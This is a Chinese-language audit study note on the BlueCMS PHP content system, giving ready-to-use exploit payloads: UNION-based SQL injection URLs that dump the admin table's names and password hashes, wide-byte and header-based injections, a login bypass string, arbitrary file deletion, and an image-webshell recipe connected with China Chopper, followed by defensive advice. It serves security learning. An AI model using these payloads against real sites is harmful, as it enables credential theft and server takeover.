BlueCMS审计学习笔记
字数 1307 2025-08-18 11:38:53
BlueCMS代码审计与漏洞利用全面教学文档
一、BlueCMS审计基础
1. 审计方法论
- 功能点审计法:重点关注评论、注册、登录、头像上传、数据库备份等关键功能
- 输入点追踪:从所有用户输入点(GET/POST/COOKIE/SERVER变量)入手
- 危险函数搜索:全局搜索SQL执行、文件操作、系统命令等危险函数
2. 项目结构分析
/admin # 后台管理目录
/include # 核心配置文件目录
|- common.inc.php # 全局过滤配置文件
|- ...
/install # 安装程序目录
/user.php # 用户功能主文件
/comment.php # 评论功能文件
/article.php # 文章功能文件
二、配置文件审计
1. 统一过滤机制分析
- common.inc.php中的过滤规则:
- 对
$_GET、$_POST、$_COOKIE进行addslashes转义 - 关键缺陷:未过滤
$_SERVER变量,导致HTTP头注入风险 - 过滤仅在变量被单引号包裹时有效,双引号中的变量可绕过
- 对
2. 绕过魔术引号的方法
- 使用十六进制编码:
0x61646d696e - 宽字节注入:使用
%df'等字符 - 利用未过滤的输入点:如
X-Forwarded-For头
三、SQL注入漏洞
1. ad_js.php注入
- 漏洞代码:
$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);
- 利用步骤:
- 爆表名:
ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()- 爆字段:
ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(column_name) from information_schema.columns where table_name=0x626c75655f61646d696e- 获取管理员凭据:
ad_js.php?ad_id=1+UNION+SELECT+1,2,3,4,5,6,GROUP_CONCAT(admin_name,0x3a,pwd) FROM blue_admin
2. 用户注册注入
- payload构造:
%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#
- 原理:利用insert语句的多值插入特性注入子查询
3. 登录绕过
- 万能密码:
%df') or 1=1#
4. 评论系统注入
- 利用CLIENT-IP/X-Forwarded-For头:
POST /comment.php?act=send HTTP/1.1
CLIENT-IP: 1','2'1','0','1','0',(select concat(admin_name,":",pwd) from blue_admin),'1','1
四、文件操作漏洞
1. 文件包含漏洞
- user.php中act=pay参数:
- 可结合图片马上传实现代码执行
- 利用
@unlink(BLUE_ROOT.$_POST['face_pic3'])删除任意文件
2. 安装系统漏洞
- install.lock绕过:
is_writeable()检查逻辑缺陷- 可重复安装覆盖现有配置
3. 数据库备份泄露
- 备份文件预测:
- 默认路径:
/data/backup/YYYYMMDD.sql - 可通过日期枚举获取敏感数据
- 默认路径:
五、XSS漏洞
1. 存储型XSS
- 注册/登录处:
- 未对
<,>等符号过滤 - 通过email等较长字段注入
- 未对
2. 文章发布处
- 绕过filter_data函数:
// 过滤规则:仅过滤<后紧跟字符的情况(无空格)
$descript = mb_substr($_POST['descript'], 0, 90);
- payload示例:
六、文件上传漏洞
1. 图片马上传
- 利用流程:
- 制作图片马:
copy 1.jpg/b + 1.php/a shell.jpg- 上传至头像等位置
- 结合文件包含执行
2. 中国菜刀连接
- 使用图片马中的PHP后门连接管理
七、防御建议
-
输入过滤:
- 对所有输入变量统一过滤
- 补充
$_SERVER变量过滤 - 使用预处理语句替代拼接SQL
-
安全配置:
- 安装后删除install目录
- 修改默认备份路径和命名规则
- 设置文件上传目录不可执行
-
函数替换:
- 用
htmlentities替代htmlspecialchars - 用
intval处理所有数字型输入
- 用
八、审计工具链
-
静态分析:
- RIPS
- PHPStan
- SonarQube
-
动态测试:
- Burp Suite
- SQLMap
- XSS Hunter
-
辅助工具:
- Seay源代码审计系统
- 中国菜刀/蚁剑